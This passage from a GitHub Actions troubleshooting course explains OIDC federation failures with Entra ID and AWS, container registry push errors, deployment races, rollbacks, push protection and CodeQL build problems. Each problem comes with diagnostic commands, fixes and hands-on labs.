az ad app federated-credential list --id $APP_ID --query "[].{name:name,subject:subject,aud:audiences[0]}" -o table
{ "iss": "https://token.actions.githubusercontent.com", "aud": "api://AzureADTokenExchange",
"sub": "repo:myorg-lab/myapp:environment:prod", "environment": "prod", "ref": "refs/heads/main" }
Name Subject Aud
---------- ----------------------------------------- --------------------------
gh-main repo:myorg-lab/myapp:ref:refs/heads/main api://AzureADTokenExchange ← no match
Fix
az ad app federated-credential create --id $APP_ID --parameters '{
"name": "gh-env-prod",
"issuer": "https://token.actions.githubusercontent.com",
"subject": "repo:myorg-lab/myapp:environment:prod",
"audiences": ["api://AzureADTokenExchange"] }'
- Create one FIC for each context that needs to log in (main, the prod environment, and a read-only plan for pull_request); one application can have at most 20 FICs.
- A better split: use an identity with only Reader permission for PRs, and a separate identity with deployment permission for the prod environment.
Prevention and best practices
- Prefer using environment as the subject (together with environment protection rules) rather than a branch.
- Manage FICs with IaC, and update them in the same change when you modify a workflow's environment or triggers.
See Lesson 3 OIDC federation: GitHub → Entra ID · troubleshooting cloud deployments in practice.
#27 Could not assume role with OIDC: Not authorized to perform sts:AssumeRoleWithWebIdentity
Run aws-actions/configure-aws-credentials@v6 Assuming role with OIDC Error: Could not assume role with OIDC: Not authorized to perform sts:AssumeRoleWithWebIdentity
Root cause: AWS compares the GitHub JWT with the role trust policy; any mismatch returns this same message (AWS deliberately does not say which one): ① token.actions.githubusercontent.com:sub condition mismatch (used StringEquals where a wildcard was expected; environment/branch/tag/immutable format mismatch); ② :aud the condition is not sts.amazonaws.com (#35); ③ Principal.Federated the OIDC provider ARN it points to is in another account, or no IAM OIDC provider was created in the account at all; ④ role-to-assume wrong account ID / role name; ⑤ the trust policy lacks sts:TagSession while the action passes session tags (depending on version and settings).
Diagnostic commands
aws iam list-open-id-connect-providers aws iam get-role --role-name gh-myapp-deploy --query 'Role.AssumeRolePolicyDocument' --output json # CloudTrail: failed AssumeRoleWithWebIdentity events record errorCode and some request information aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \ --max-results 5 --query 'Events[].CloudTrailEvent' --output text | jq -r '.errorCode, .errorMessage' 2>/dev/null
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:myorg-lab/myapp:ref:refs/heads/main"
} }
# but the job uses environment: prod → the actual sub is repo:myorg-lab/myapp:environment:prod
Fix
"Condition": {
"StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" },
"StringLike": { "token.actions.githubusercontent.com:sub": [
"repo:myorg-lab/myapp:environment:prod",
"repo:myorg-lab/myapp:ref:refs/heads/main" ] }
}
- Never write
repo:myorg-lab/*, or even leave out the sub condition, which lets any workflow in the organization (or any GitHub repository!) assume the role.
Prevention and best practices
- Use the claims-printing step from #26 to confirm the actual sub before writing the trust policy; IAM Access Analyzer reports findings for overly broad OIDC trust.
See Lesson 4 OIDC federation: GitHub → IAM · troubleshooting cloud deployments in practice.
#28 Missing id-token permission: Credentials could not be loaded … / Unable to get ACTIONS_ID_TOKEN_REQUEST_URL env variable
Run aws-actions/configure-aws-credentials@v6 Error: Credentials could not be loaded, please check your action inputs: Could not load credentials from any providers Run azure/login@v3 Error: Failed to fetch federated token from GitHub. Please make sure to give write permissions to id-token in the workflow. Error: Unable to get ACTIONS_ID_TOKEN_REQUEST_URL env variable
Root cause: Only when the job's GITHUB_TOKEN permissions include id-token: write does the runner inject ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN. Common triggers: ① once you write permissions:,any permission not listed becomes none— you add contents: read but forget id-token: write; ② a reusable workflow declares it, but the caller does not grant it (a called workflow's permissions cannot exceed the caller's); ③ fork PR triggers (#7); ④ Dependabot-triggered runs.
Diagnosis
gh run view <run-id> --log | sed -n '/GITHUB_TOKEN Permissions/,/Secret source/p' | grep -i idtoken || echo "IdToken is not in the permissions list" grep -n -B2 -A6 'permissions:' .github/workflows/deploy.yml
Fix
jobs:
deploy:
permissions:
id-token: write # request an OIDC JWT
contents: read # required by actions/checkout
uses: myorg-lab/platform-workflows/.github/workflows/deploy-azure.yml@v3 # the caller must also grant it
secrets: inherit
Prevention and best practices
- Grant
id-token: writeonly on the deploy job; test jobs do not need it. Document the permissions callers need in the shared workflow's README.
#29 OIDC trust suddenly fails after a repository is renamed, transferred or newly created (immutable subject format change)
Error: AADSTS700213: No matching federated identity record found for presented assertion subject 'repo:myorg-lab@1234567/payments-api@890123456:environment:prod'. # On the AWS side, at the same time: Not authorized to perform sts:AssumeRoleWithWebIdentity # The owner-id / repo-id values in the examples are made up
Root cause: A name-based subject (repo:myorg-lab/payments:…) after a rename or transfer may be reclaimed by others with a same-named repository, creating a risk of impersonation. GitHub therefore introduced immutable subjects: from 2026-07-15 onward,repositories that are newly created, renamed or transferred automatically use the repo:owner@<owner-id>/repo@<repo-id>:… format; existing repositories must opt in manually. As a result, renaming payments to payments-api, or creating a repository from a template and copying the old FIC/trust policy, leaves the subjects mismatched.
Diagnostic commands
gh api repos/myorg-lab/payments-api -q '{id, owner_id: .owner.id, full_name}'
# use the #26 step to print the actual sub, and compare with the cloud configuration
az ad app federated-credential list --id $APP_ID --query "[].subject" -o tsv
aws iam get-role --role-name gh-payments-deploy --query 'Role.AssumeRolePolicyDocument.Statement[0].Condition'
{"id":890123456,"owner_id":1234567,"full_name":"myorg-lab/payments-api"}
repo:myorg-lab/payments:environment:prod ← old, name-based subject
Fix
- Based on the actual token's sub, update the Entra FIC and IAM trust policy (keep both the old and new entries during the transition, then delete the old one after confirming).
- When an existing repository opts in to the immutable format, first add the new-format entry in the cloud, then switch, and finally delete the old entry; doing this in the wrong order will break deployments.
Prevention and best practices
- Store owner-id / repo-id in IaC variables (so that
data "github_repository"can read the IDs), rather than hand-writing strings in several places. - Add repository renames and transfers to the change checklist: “check all OIDC trust parties”.
- For details (format, opt-in entry point, impact on custom subject templates), refer to the GitHub Changelog, Microsoft Learn and the configure-aws-credentials README.
#30 Environment approval stuck: Waiting for review — prod needs approval to start deploying changes
deploy-prod Waiting for review: prod needs approval to start deploying changes. # the only reviewer is the person who triggered the run, and “Prevent self-review” is enabled; or the reviewer has left
Root cause: Required reviewers in an environment protection rule (up to 6 users/teams; any one approval is enough) must have read access to the repository. With “Prevent self-review” enabled, the person who triggered the deployment cannot approve their own deployment. If the reviewer account is disabled or the team is deleted, nobody can approve. A job waiting for approval does not consume runner minutes, but it fails if the wait exceeds 30 days. Another variant: a configured wait timer or custom deployment protection rule (third-party App) that never calls back also looks stuck.
Diagnostic commands
gh api repos/O/R/environments/prod -q '.protection_rules[] | {type, wait_timer, prevent_self_review, reviewers: [.reviewers[]?.reviewer | (.login // .slug)]}'
gh api repos/O/R/actions/runs/<run-id>/pending_deployments -q '.[] | {env: .environment.name, current_user_can_approve, reviewers: [.reviewers[].reviewer | (.login // .slug)]}'
{"type":"required_reviewers","prevent_self_review":true,"reviewers":["alice-lab"]}
{"env":"prod","current_user_can_approve":false,"reviewers":["alice-lab"]} ← the triggering user is alice
Fix
- Change the reviewer to a team (e.g.
@myorg-lab/release-approvers, at least 2 people); have another member approve on the run page via Review deployments → Approve. - Approve via the API (as the reviewer):
gh api repos/O/R/actions/runs/<id>/pending_deployments -X POST -F 'environment_ids[]=<env-id>' -f state=approved -f comment="ok". - Custom protection rule stuck: check the webhook deliveries and callbacks of the corresponding App.
Prevention and best practices
- Include the reviewer list in the offboarding process; set up an on-call rotation.
- Note: required reviewers for environments in private repositories require the appropriate plan (see the official docs).
See Lesson 3 environments, approvals and deployment protection rules.
#31 Pushing to ECR fails: no basic auth credentials / denied: Your authorization token has expired
#12 pushing layers #12 ERROR: failed to push 123456789012.dkr.ecr.ca-central-1.amazonaws.com/myapp:9c1e2f4: no basic auth credentials # or denied: Your authorization token has expired. Reauthenticate and try again. # or (authentication succeeded, insufficient authorization) denied: User: arn:aws:sts::123456789012:assumed-role/gh-myapp-deploy/GitHubActions is not authorized to perform: ecr:InitiateLayerUpload on resource: arn:aws:ecr:ca-central-1:123456789012:repository/myapp because no identity-based policy allows the ecr:InitiateLayerUpload action
Root cause:① did not run aws-actions/amazon-ecr-login (or aws ecr get-login-password | docker login), or logged in to a registry hostname for a different Region/account; ② the ECR authorization token is valid for 12 hours, and an old cached ~/.docker/config.json expires; ③ in the docker/build-push-action buildx container driver, a different Docker config is used; ④ the role lacks ecr:GetAuthorizationToken (requires Resource: "*") or the actions needed to push ecr:BatchCheckLayerAvailability,InitiateLayerUpload,UploadLayerPart,CompleteLayerUpload,PutImage; ⑤ the repository does not exist (ECR does not create it automatically unless a creation template is configured).
Diagnostic commands
aws sts get-caller-identity aws ecr describe-repositories --repository-names myapp --region ca-central-1 --query 'repositories[0].repositoryUri' aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:role/gh-myapp-deploy \ --action-names ecr:GetAuthorizationToken ecr:InitiateLayerUpload ecr:PutImage --query 'EvaluationResults[].[EvalActionName,EvalDecision]' --output text
Fix
- uses: aws-actions/configure-aws-credentials@v6
with: { role-to-assume: "${{ vars.AWS_ROLE_ARN }}", aws-region: ca-central-1 }
- id: ecr
uses: aws-actions/amazon-ecr-login@v2
- uses: docker/build-push-action@v6
with:
push: true
tags: ${{ steps.ecr.outputs.registry }}/myapp:${{ github.sha }}
Prevention and best practices
- Grant push permissions only to the deployment role, scoped to the specific repository ARN; use immutable image tags (commit SHA) and enable tag immutability on the repository.
- Action versions should follow each repository's Releases (for the examples above, verify the major versions of amazon-ecr-login and build-push-action, then pin the SHA).
#32 Pushing to ACR fails: unauthorized: authentication required / denied: requested access to the resource is denied
Run az acr login --name myacrlab Login Succeeded ... denied: requested access to the resource is denied # or when running docker push: unauthorized: authentication required, visit https://aka.ms/acr/authorization for more information.
Root cause:① The service principal / managed identity that logged in via OIDC only has the subscription Reader or AcrPull, but lacks AcrPush (push) —az acr login login succeeds (it only exchanges for a token) and is rejected only when pushing; ② a newly granted role has a propagation delay (usually a few minutes); ③ when ACR uses ABAC repository permission mode, a role such as “Container Registry Repository Writer” is required (see Microsoft Learn); ④ ACR has public network access disabled or firewall rules, so the IP of a GitHub-hosted runner is rejected (the error may be client with IP … is not allowed access); ⑤ the image name uses the wrong login server (myacrlab.azurecr.io must be all lowercase).
Diagnostic commands
az role assignment list --assignee $CLIENT_ID --all --query "[].{role:roleDefinitionName,scope:scope}" -o table
az acr show -n myacrlab --query "{login:loginServer,public:publicNetworkAccess,rules:networkRuleSet.defaultAction}" -o table
az acr check-health -n myacrlab --yes 2>&1 | tail -5
Fix
ACR_ID=$(az acr show -n myacrlab --query id -o tsv) az role assignment create --assignee $CLIENT_ID --role AcrPush --scope $ACR_ID
- For ACR on a private network: use a self-hosted runner inside the VNet (or an Azure private-networking managed runner, see the official docs); do not open large IP ranges for hosted runners.
Prevention and best practices
- Scope roles to the registry rather than the subscription; separate push and pull identities (the AKS kubelet identity only needs AcrPull).
See Lesson 3 deploying to Azure Container Apps · troubleshooting cloud deployments in practice.
#33 Deployment race: an older commit is deployed after a newer one, so production “rolled back”
14:02 push A (PR #41) → deploy run #881 starts (build takes 9 minutes) 14:04 push B (PR #42) → deploy run #882 starts (cache hit, build takes 3 minutes) 14:08 #882 deploys B ✓ 14:11 #881 deploys A ✓ ← production is overwritten by the old version, and B's fix “disappears”
Root cause: The two runs execute in parallel with different build durations, and whichever finishes last “wins”. No environment-level concurrency group is set; or CI and manual dispatch use different concurrency group names; or the deploy script runs kubectl set image … :latest directly, so it cannot compare which version is newer.
Diagnostic commands
gh api repos/O/R/deployments -q '.[:5][] | [.id, .sha[0:7], .environment, .created_at] | @tsv'
gh run list -w deploy.yml -L 5 --json databaseId,headSha,createdAt,updatedAt
az containerapp revision list -n myapp -g rg-gh-lab --query "[].{rev:name,img:properties.template.containers[0].image,created:properties.createdTime}" -o table
Fix
jobs:
deploy:
environment: prod
concurrency: { group: deploy-prod, cancel-in-progress: false } # all deployments to prod share one group
steps:
- name: Reject deploying a commit older than the current one
run: |
git fetch -q origin main
if ! git merge-base --is-ancestor "$GITHUB_SHA" origin/main; then echo "not on main"; exit 1; fi
CUR=$(./scripts/current-prod-sha.sh) # read the live SHA from health checks/tags
if git merge-base --is-ancestor "$GITHUB_SHA" "$CUR" && [ "$GITHUB_SHA" != "$CUR" ]; then
echo "::warning::$GITHUB_SHA is older than the live $CUR, skipping"; exit 0; fi
- Separate build from deploy: builds can run in parallel, deploy jobs run serially; tag images by SHA, and record the SHA in each deployment.
Prevention and best practices
- /healthz or /version returns the Git SHA, verified after deployment; GitOps (Argo CD/Flux) treats the desired state in Git as the source of truth, which naturally avoids this problem.
See Lesson 3 environments and deployments,Lesson 4 multi-account and environment promotion.
#34 Rollback fails: re-running an old run errors / the old image or artifact no longer exists
① Clicking “Re-run all jobs” on a run from 3 weeks ago: deploying to prod is rejected with AADSTS700213 / AssumeRoleWithWebIdentity (in the meantime the repository enabled immutable subjects or the environment name changed) ② Error: Unable to download artifact(s): Artifact not found for name: dist (the artifact passed its retention period) ③ manifest for 123456789012.dkr.ecr.ca-central-1.amazonaws.com/myapp:v1.3.2 not found: manifest unknown (an ECR lifecycle policy deleted the old image, or v1.3.2 was a mutable tag that has been overwritten) ④ The application was rolled back, but the database migration is irreversible, so the old version fails to start
Root cause:“Re-running an old run” uses that run's commit and workflow definition, but at runtime it depends on the current external world: cloud trust configuration, environments, artifact retention, image lifecycle, database schema. Re-runs are also time-limited (generally within 30 days of the first run; see the official docs).
Diagnostic commands
gh api repos/O/R/actions/runs/<old-run-id> -q '{created_at, head_sha, path}'
aws ecr describe-images --repository-name myapp --image-ids imageTag=v1.3.2 --query 'imageDetails[0].imagePushedAt' 2>&1 | tail -1
aws ecr get-lifecycle-policy --repository-name myapp --query lifecyclePolicyText --output text | jq .
Fix
- Rollback does not rely on “re-running”; instead, use a dedicated rollback workflow:
workflow_dispatchEnter the target version (image digest@sha256:…), going through the current authentication and approval. - Container Apps / ECS / K8s platform-native rollback: switch back to the previous revision / task definition /
kubectl rollout undo. - The ECR lifecycle policy keeps the most recent N published versions (by tag prefix
v), and only cleans up untagged or PR images.
Prevention and best practices
- Migrations follow “expand → migrate → contract” to keep N-1 versions compatible; drill rollbacks once a quarter.
- Put deployment artifacts into an image/artifact registry and reference them by digest; generate attestations at release (Lesson 5) so rollbacks can be verified in the same way.
See Lesson 3 troubleshooting cloud deployments in practice,Lesson 5 release automation.
#35 Audience mismatch: AADSTS700212 … assertion audience / InvalidIdentityToken: Incorrect token audience
Error: AADSTS700212: No matching federated identity record found for presented assertion audience 'sts.amazonaws.com'. # AWS side: Error: Could not assume role with OIDC: Incorrect token audience
Root cause: The JWT's aud audience is decided by the requester: azure/login by default it requests api://AzureADTokenExchange, and the default for configure-aws-credentials is sts.amazonaws.com. Mismatches occur when: ① a token is fetched manually in the same job and reused for another cloud; ② an explicit audience: input is passed that does not match the FIC's audiences or the IAM OIDC provider's client ID list; ③ sovereign clouds (e.g. China or government regions) use different audience values (see the corresponding cloud documentation); ④ the IAM OIDC provider's client ID list does not include sts.amazonaws.com.
Diagnostic commands
aws iam get-open-id-connect-provider --open-id-connect-provider-arn arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com --query ClientIDList az ad app federated-credential list --id $APP_ID --query "[].audiences" -o tsv # and the aud in the claims printed by #26
Fix
- Do not pass the audience manually; use each action's default. If you must customize it, make the cloud configuration match the action input.
- AWS:
aws iam add-client-id-to-open-id-connect-provider --client-id sts.amazonaws.com --open-id-connect-provider-arn ….
Prevention and best practices
- Log into one cloud per job; split multi-cloud deployments into separate jobs.
#36 Login succeeds but deployment fails: (AuthorizationFailed) The client '…' does not have authorization to perform action …
Run az containerapp update -n myapp -g rg-gh-lab --image ... ERROR: (AuthorizationFailed) The client 'a1b2c3d4-…' with object id 'e5f6…' does not have authorization to perform action 'Microsoft.App/containerApps/write' over scope '/subscriptions/…/resourceGroups/rg-gh-lab/providers/Microsoft.App/containerApps/myapp' or the scope is invalid. If access was recently granted, please refresh your credentials.
Root cause: OIDC only answers “who are you” (authentication); RBAC decides “what can you do” (authorization). Common causes: ① the role assignment is on a different resource group or subscription; ② only Reader was granted; ③ the role was just assigned, and the login token was obtained before the assignment (the old permission context is cached in the token; log in again or re-run); ④ an operation that requires Microsoft.Authorization/roleAssignments/write (for example, Terraform creating role assignments) but only Contributor was granted; ⑤ az account set the wrong subscription was selected.
Diagnostic commands
az account show --query "{sub:id, user:user.name, type:user.type}" -o table
az role assignment list --assignee $CLIENT_ID --all --query "[].{role:roleDefinitionName,scope:scope}" -o table
Role Scope ------- ------------------------------------------------ Reader /subscriptions/0000…/resourceGroups/rg-gh-lab
Fix
az role assignment create --assignee $CLIENT_ID --role "Contributor" \ --scope $(az group show -n rg-gh-lab --query id -o tsv) # When Terraform needs to create role assignments, use a conditional “Role Based Access Control Administrator” that limits which roles can be assigned
Prevention and best practices
- One identity per environment, with minimal scope (resource group); manage role assignments with IaC; the identity for PR plans is read-only.
See Lesson 3 OIDC federation · deploying to Azure Container Apps.
#37 Branch "feature/x" is not allowed to deploy to prod due to environment protection rules.
deploy-prod Branch "feature/hotfix-login" is not allowed to deploy to prod due to environment protection rules. # Variant for tag-triggered releases: Tag "v1.4.0" is not allowed to deploy to prod due to environment protection rules. (wording may vary by version)
Root cause: The environment's “Deployment branches and tags” is set to “Protected branches only” or “Selected branches and tags”, and the ref that triggered the run is not on the allowed list. When releasing by tag, a common mistake is to allow only main branches and not add a v* tag rule; deploying directly from a hotfix branch is also blocked, which is usually the correct block.
Diagnostic commands
gh api repos/O/R/environments/prod -q .deployment_branch_policy gh api repos/O/R/environments/prod/deployment-branch-policies -q '.branch_policies[] | [.name, .type] | @tsv'
{"protected_branches":false,"custom_branch_policies":true}
main branch
Fix
gh api repos/O/R/environments/prod/deployment-branch-policies -X POST -f name='v*' -f type=tag
- Hotfix: go through a PR merged into main (or the release branch), then deploy, rather than loosening the environment rules.
Prevention and best practices
- Pair this with a tag ruleset that limits who can create
v*tags; otherwise, “allow tag deployments” is equivalent to letting anyone with write access deploy.
See Lesson 3 environments, approvals and deployment protection rules.
#38 Long job, credentials expire midway: ExpiredToken / AADSTS700024: Client assertion is not within its valid time range
An error occurred (ExpiredToken) when calling the DescribeStacks operation: The security token included in the request is expired # Azure (when Terraform / az refreshes the token after a job that runs for over an hour): AADSTS700024: Client assertion is not within its valid time range. Current time: 2026-11-15T15:41:07Z, assertion valid from 2026-11-15T14:30:12Z, expiry time of assertion 2026-11-15T14:35:12Z. # when requesting a session: The requested DurationSeconds exceeds the MaxSessionDuration set for this role.
Root cause: The OIDC JWT issued by GitHub is only valid for a few minutes, and the sessions obtained from the cloud also have limits: an AWS role session defaults to 1 hour (role-duration-seconds cannot exceed the role's MaxSessionDuration, which can be up to 12 hours); the Azure CLI access token lasts about 1 hour, and after it expires you need a new GitHub JWT to exchange again, but the JWT obtained at the start of the job has long expired. Common with large terraform apply, database migrations, and long deployment health-check waits.
Diagnosis
aws iam get-role --role-name gh-myapp-deploy --query Role.MaxSessionDuration gh run view <run-id> --json jobs -q '.jobs[] | [.name,.startedAt,.completedAt] | @tsv' # is the job duration > 1h
Fix
- AWS: raise the role's MaxSessionDuration and set
role-duration-seconds: 7200; or split the long job and run configure-aws-credentials again before the next step. - Azure: re-run
azure/loginbefore long steps; use a toolchain that supports re-acquiring the JWT throughACTIONS_ID_TOKEN_REQUEST_*to re-acquire it automatically (for example, the OIDC mode of the Terraform azurerm provider; the provider documentation is authoritative). - Fundamental fix: shorten the job (split Terraform state, parallelize) rather than just extending credentials.
Prevention and best practices
- In deployment jobs, record the time credentials were obtained and the total job duration; alert when it exceeds 45 minutes.
See Lesson 3 infrastructure-as-code pipelines,Lesson 4 troubleshooting cloud deployments in practice.
OIDC token exchange simulator: change one claim and see who rejects it
Choose a target cloud and a scenario, then click “Exchange token”. The left side shows the JWT claims issued by GitHub; the right side shows the cloud's validation steps in order; on failure, the mismatched field is highlighted.
Lab 3-1: print OIDC claims (common to all clouds)
cd ~/gh8-lab
cat > .github/workflows/oidc-claims.yml <<'EOF'
name: oidc-claims
on: workflow_dispatch
permissions: { id-token: write, contents: read }
jobs:
plain:
runs-on: ubuntu-latest
steps: &print
- run: |
T=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value)
P=$(echo "$T" | cut -d. -f2 | tr '_-' '/+'); while [ $(( ${#P} % 4 )) -ne 0 ]; do P="$P="; done
echo "$P" | base64 -d | jq '{iss,aud,sub,environment,ref,repository_id,repository_owner_id}'
with-env:
runs-on: ubuntu-latest
environment: lab
steps: *print
EOF
git add . && git commit -qm "lab: oidc claims" && git push -q && gh workflow run oidc-claims.ymlIf your environment does not support YAML anchors (&print/*print, GitHub Actions does support YAML anchors; see the official docs), simply copy the step twice.
gh run view $(gh run list -w oidc-claims.yml -L1 --json databaseId -q '.[0].databaseId') --log | grep '"sub"'
plain "sub": "repo:alice-lab/gh8-lab:ref:refs/heads/main", with-env "sub": "repo:alice-lab/gh8-lab:environment:lab",
If the repository was created after 2026-07-15, you will see repo:alice-lab@…/gh8-lab@…:… immutable format — this is the symptom from #29.
Lab 3-2: Entra FIC mismatch → fix (#26)
O=$(gh api user -q .login)
APP_ID=$(az ad app create --display-name gh8-lab-oidc --query appId -o tsv); az ad sp create --id $APP_ID -o none
az ad app federated-credential create --id $APP_ID --parameters "{\"name\":\"main\",\"issuer\":\"https://token.actions.githubusercontent.com\",\"subject\":\"repo:$O/gh8-lab:ref:refs/heads/main\",\"audiences\":[\"api://AzureADTokenExchange\"]}"
gh variable set AZURE_CLIENT_ID -b $APP_ID; gh variable set AZURE_TENANT_ID -b $(az account show --query tenantId -o tsv)
gh variable set AZURE_SUBSCRIPTION_ID -b $(az account show --query id -o tsv)
cat > .github/workflows/az.yml <<'EOF'
name: az
on: workflow_dispatch
permissions: { id-token: write, contents: read }
jobs:
login:
runs-on: ubuntu-latest
environment: lab # ← the subject becomes environment:lab
steps:
- uses: azure/login@v3
with: { client-id: "${{ vars.AZURE_CLIENT_ID }}", tenant-id: "${{ vars.AZURE_TENANT_ID }}", allow-no-subscriptions: true }
- run: az account show --query tenantId -o tsv
EOF
git add . && git commit -qm "lab: az" && git push -q && gh workflow run az.ymlgh run view $(gh run list -w az.yml -L1 --json databaseId -q '.[0].databaseId') --log-failed | grep AADSTS
az ad app federated-credential create --id $APP_ID --parameters "{\"name\":\"env-lab\",\"issuer\":\"https://token.actions.githubusercontent.com\",\"subject\":\"repo:$O/gh8-lab:environment:lab\",\"audiences\":[\"api://AzureADTokenExchange\"]}"
gh workflow run az.yml # succeeds (if the repository uses the immutable format, fill in using the sub printed in Lab 3-1)az ad app delete --id $APP_ID gh variable delete AZURE_CLIENT_ID; gh variable delete AZURE_TENANT_ID; gh variable delete AZURE_SUBSCRIPTION_ID git rm -q .github/workflows/az.yml .github/workflows/oidc-claims.yml && git commit -qm "lab: cleanup" && git push -q
Lab 3-3: environment branch policy block (#37)
gh api repos/$O/gh8-lab/environments/lab -X PUT --input - <<'EOF'
{"deployment_branch_policy":{"protected_branches":false,"custom_branch_policies":true}}
EOF
gh api repos/$O/gh8-lab/environments/lab/deployment-branch-policies -X POST -f name=main -f type=branch
# Manually trigger a workflow that uses environment: lab on a feature branch → the job reports “Branch … is not allowed to deploy to lab”
# Clean up:
gh api repos/$O/gh8-lab/environments/lab -X DELETELab 3-4 (AWS, optional): trust policy sub condition (#27)
ACC=$(aws sts get-caller-identity --query Account --output text)
aws iam list-open-id-connect-providers | grep -q token.actions || \
aws iam create-open-id-connect-provider --url https://token.actions.githubusercontent.com --client-id-list sts.amazonaws.com
cat > /tmp/trust.json <<EOF
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Federated":"arn:aws:iam::$ACC:oidc-provider/token.actions.githubusercontent.com"},
"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"token.actions.githubusercontent.com:aud":"sts.amazonaws.com",
"token.actions.githubusercontent.com:sub":"repo:$O/gh8-lab:ref:refs/heads/main"}}}]}
EOF
aws iam create-role --role-name gh8-lab-oidc --assume-role-policy-document file:///tmp/trust.json --query Role.Arn
# Calling configure-aws-credentials with environment: lab in the workflow → Not authorized to perform sts:AssumeRoleWithWebIdentity
# Fix: change the sub to repo:$O/gh8-lab:environment:lab, then run aws iam update-assume-role-policy
# Clean up: aws iam delete-role --role-name gh8-lab-oidc (also delete the OIDC provider if it was created for this lab)Teaching video (title and channel verified via YouTube oEmbed)
No verified video specifically on troubleshooting Entra ID federated credentials was found; refer to the official docs instead:About security hardening with OpenID Connect · Microsoft Learn: Workload identity federation · configure-aws-credentials README.
- 0:00 Add
environment: prodto the workflow → AADSTS700213. - 0:40 Print the claims; the sub changes from ref to environment.
- 1:30 Show the FIC list side by side, and add a new environment FIC.
- 2:30 The same problem on AWS: the trust policy StringLike list.
- 3:20 Repository rename → immutable subject; remind viewers to check all trust parties.
Module 4 · Part A: Security, governance, API and billing (problems 39–50)
- Distinguish “security control blocking by design” (push protection, action allowlist, Dependabot token downgrade) from “misconfiguration”; for the former, the fix is to follow the correct process, not to turn the control off.
- Master the API reliability trio: read
x-ratelimit-*headers and back off perretry-after/x-ratelimit-reset(see the text above) and apply backoff; webhooks compute HMAC-SHA256 over the raw bytes and compare in constant time; GitHub App installation tokens expire after 1 hour, and JWTs last at most 10 minutes. - Know where billing can “suddenly stop CI”: payment failures, budget caps, and artifact and package storage quotas.
Enter a keyword (e.g. secret,CodeQL,Dependabot,not allowed,rate limit,signature,Bad credentials,spending) to filter.
#39 Push protection blocks: GH013 … Push cannot contain secrets (what to do about false positives and who can allow it)
remote: error: GH013: Repository rule violations found for refs/heads/feature/billing. remote: - GITHUB PUSH PROTECTION remote: ————————————————————————————————————————— remote: Resolve the following violations before pushing again remote: - Push cannot contain secrets remote: —— Azure Storage Account Access Key —————————— remote: locations: remote: - commit: 4e5f6a7… path: tests/fixtures/settings.json:12 remote: To push, remove secret from commit(s) or follow this URL to allow the secret. remote: https://github.com/myorg-lab/myapp/security/secret-scanning/unblock-secret/2pQx…
How this relates to the Git course:“How to remove a secret from a local commit before pushing” is covered in the Git course, Lesson 8, #4; here the focus is on the platform process: false positives, test fixtures, delegated bypass, and commits made via the web or API are also blocked.
Root cause: Push protection scans new pushes on the server side for recognizable high-confidence secrets (including partner patterns and organization-defined custom patterns). It is enabled by default for public repositories; private/internal repositories require GitHub Secret Protection a license (offered as a standalone product since 2025-04; see the official docs). After opening the URL you can choose “used in tests / false positive / fix later” to allow it; if the organization has enabled delegated bypass, regular members can only submit a bypass request, and the push is allowed only after a designated approver approves it.
Diagnostic commands
gh api repos/O/R -q '.security_and_analysis | {secret_scanning, secret_scanning_push_protection}'
gh api repos/O/R/secret-scanning/alerts -q '.[] | [.number, .secret_type_display_name, .state, .push_protection_bypassed] | @tsv' | head
gh api orgs/O/bypass-requests/secret-scanning -q '.[] | [.id, .requester.login, .status] | @tsv' 2>/dev/null # delegated bypass requests (endpoint per official docs)
Fix
- Real secret: first revoke or rotate it at the issuer (Azure: regenerate the storage key), then rewrite the local commit and push; do not click “allow”.
- Test fixture / sample value: switch to an obviously fake value or read it from an environment variable; if it must stay, choose “It's used in tests” to allow it, which leaves an audit record.
- Delegated bypass: submit a request on the URL page with a justification; the security team approves it under Security → Push protection bypass.
Prevention and best practices
- Catch issues early with local gitleaks / pre-commit; in code, only reference Key Vault / Secrets Manager / OIDC and never store secrets.
- Monitor the audit log for
secret_scanning_push_protection.bypassevents.
#40 CodeQL fails: We were unable to automatically build your code / detected code … but could not process any of it
Run github/codeql-action/autobuild@v4 Error: We were unable to automatically build your code. Please replace the call to the autobuild action with your custom build steps. ... Run github/codeql-action/analyze@v4 Error: CodeQL detected code written in Java/Kotlin but could not process any of it. For more information, review our troubleshooting guide at https://gh.io/troubleshooting-code-scanning/no-source-code-seen-during-build. # Another category: Error: Code Scanning could not process the submitted SARIF file: CodeQL analyses from advanced configurations cannot be processed when the default setup is enabled
Root cause: Compiled languages (Java/Kotlin, C/C++, C#, Go, Swift) require CodeQL to observe compiler invocations during the build process: ① autobuild cannot work out how to build (multi-module, needs a private Maven repository, needs a specific JDK); ② the build hit a cache (Gradle build cache / incremental compilation) and did not actually compile any source files; ③ the build completed before init or in another job. For Java/C#/C++ and similar, CodeQL provides build-mode: none (no build required, slightly lower precision; supported languages per official docs). A third error: the repository has default setup enabled while an advanced-setup workflow also exists, and the two conflict. For the CodeQL action's major version, follow github/codeql-action Releases (v4 above is only an example).
Diagnostic commands
gh api repos/O/R/code-scanning/default-setup -q '{state, languages}'
gh run view <run-id> --log | grep -iE 'autobuild|Running|compil|build-mode' | head -20
gh api repos/O/R/code-scanning/analyses -q '.[:5][] | [.tool.name, .category, .error, .created_at] | @tsv'
Fix
- uses: github/codeql-action/init@v4
with:
languages: java-kotlin
build-mode: manual # or none (no build needed)
- uses: actions/setup-java@v5 # version example; follow Releases
with: { distribution: temurin, java-version: "21" }
- run: ./gradlew --no-daemon --no-build-cache clean assemble -x test # force a real compile
- uses: github/codeql-action/analyze@v4
with: { category: "/language:java-kotlin" }
- Conflicts with default setup: choose one — either disable default setup and use the advanced workflow, or delete the advanced workflow.
Prevention and best practices
- Use default setup whenever it is enough; switch to advanced setup only when you need custom query packs or a custom build. Private repositories need GitHub Code Security a license (see the official docs).
#41 Dependabot creates no PRs (neither version updates nor security updates show any activity)
